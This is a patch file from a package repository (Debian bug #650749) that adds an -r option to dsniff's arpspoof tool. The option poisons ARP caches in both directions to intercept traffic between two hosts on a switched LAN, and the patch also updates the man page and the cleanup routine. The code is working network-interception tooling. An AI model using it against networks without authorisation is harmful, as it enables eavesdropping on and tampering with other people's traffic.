summaryrefslogtreecommitdiff
path: root/network/dsniff/patches/arpspoof-r-switch.patch
blob: df81ce3241506b074fb2a66531dd843af77a1c6b (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166

Debian bug #650749
arpspoof: add -r switch to poison both directions

diff --git a/arpspoof.8 b/arpspoof.8
index a05b5d3..544e06c 100644
--- a/arpspoof.8
+++ b/arpspoof.8
@@ -9,7 +9,7 @@ intercept packets on a switched LAN
 .na
 .nf
 .fi
-\fBarpspoof\fR [\fB-i \fIinterface\fR] [\fB-t \fItarget\fR] \fIhost\fR
+\fBarpspoof\fR [\fB\-i \fIinterface\fR] [\fB\-t \fItarget\fR] [\fB\-r\fR] \fIhost\fR
 .SH DESCRIPTION
 .ad
 .fi
@@ -26,6 +26,9 @@ Specify the interface to use.
 .IP "\fB-t \fItarget\fR"
 Specify a particular host to ARP poison (if not specified, all hosts
 on the LAN).
+.IP "\fB\-r\fR"
+Poison both hosts (host and target) to capture traffic in both directions.
+(only valid in conjuntion with \-t)
 .IP \fIhost\fR
 Specify the host you wish to intercept packets for (usually the local
 gateway).
diff --git a/arpspoof.c b/arpspoof.c
index 7cdbbf8..f51b699 100644
--- a/arpspoof.c
+++ b/arpspoof.c
@@ -7,6 +7,8 @@
  * Copyright (c) 1999 Dug Song <dugsong@monkey.org>
  *
  * $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
+ *
+ * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
  */
 
 #include "config.h"
@@ -31,12 +33,13 @@ static libnet_t *l;
 static struct ether_addr spoof_mac, target_mac;
 static in_addr_t spoof_ip, target_ip;
 static char *intf;
+static int poison_reverse;
 
 static void
 usage(void)
 {
 	fprintf(stderr, "Version: " VERSION "\n"
-		"Usage: arpspoof [-i interface] [-t target] host\n");
+		"Usage: arpspoof [-i interface] [-t target] [-r] host\n");
 	exit(1);
 }
 
@@ -133,18 +136,30 @@ arp_find(in_addr_t ip, struct ether_addr *mac)
 static void
 cleanup(int sig)
 {
+	int fw = arp_find(spoof_ip, &spoof_mac);
+	int bw = poison_reverse && target_ip && arp_find(target_ip, &target_mac);
 	int i;
-	
-	if (arp_find(spoof_ip, &spoof_mac)) {
-		for (i = 0; i < 3; i++) {
-			/* XXX - on BSD, requires ETHERSPOOF kernel. */
+
+	fprintf(stderr, "Cleaning up and re-arping targets...\n");
+	for (i = 0; i < 5; i++) {
+		/* XXX - on BSD, requires ETHERSPOOF kernel. */
+		if (fw) {
 			arp_send(l, ARPOP_REPLY,
 				 (u_int8_t *)&spoof_mac, spoof_ip,
 				 (target_ip ? (u_int8_t *)&target_mac : NULL),
 				 target_ip);
+			/* we have to wait a moment before sending the next packet */
+			sleep(1);
+		}
+		if (bw) {
+			arp_send(l, ARPOP_REPLY,
+				 (u_int8_t *)&target_mac, target_ip,
+				 (u_int8_t *)&spoof_mac,
+				 spoof_ip);
 			sleep(1);
 		}
 	}
+
 	exit(0);
 }
 
@@ -156,11 +171,12 @@ main(int argc, char *argv[])
 	char pcap_ebuf[PCAP_ERRBUF_SIZE];
 	char libnet_ebuf[LIBNET_ERRBUF_SIZE];
 	int c;
-	
+
 	intf = NULL;
 	spoof_ip = target_ip = 0;
-	
-	while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
+	poison_reverse = 0;
+
+	while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) {
 		switch (c) {
 		case 'i':
 			intf = optarg;
@@ -169,6 +185,9 @@ main(int argc, char *argv[])
 			if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
 				usage();
 			break;
+		case 'r':
+			poison_reverse = 1;
+			break;
 		default:
 			usage();
 		}
@@ -178,7 +197,12 @@ main(int argc, char *argv[])
 	
 	if (argc != 1)
 		usage();
-	
+
+	if (poison_reverse && !target_ip) {
+		errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
+		usage();
+	}
+
 	if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
 		usage();
 	
@@ -191,18 +215,29 @@ main(int argc, char *argv[])
 	if (target_ip != 0 && !arp_find(target_ip, &target_mac))
 		errx(1, "couldn't arp for host %s",
 		     libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE));
-	
+
+	if (poison_reverse) {
+		if (!arp_find(spoof_ip, &spoof_mac)) {
+			errx(1, "couldn't arp for spoof host %s",
+			     libnet_addr2name4(spoof_ip, LIBNET_DONT_RESOLVE));
+		}
+	}
+
 	signal(SIGHUP, cleanup);
 	signal(SIGINT, cleanup);
 	signal(SIGTERM, cleanup);
-	
+
 	for (;;) {
 		arp_send(l, ARPOP_REPLY, NULL, spoof_ip,
 			 (target_ip ? (u_int8_t *)&target_mac : NULL),
 			 target_ip);
+		if (poison_reverse) {
+			arp_send(l, ARPOP_REPLY, NULL, target_ip, (uint8_t *)&spoof_mac, spoof_ip);
+		}
+
 		sleep(2);
 	}
 	/* NOTREACHED */
-	
+
 	exit(0);
 }
-- 
1.7.5.4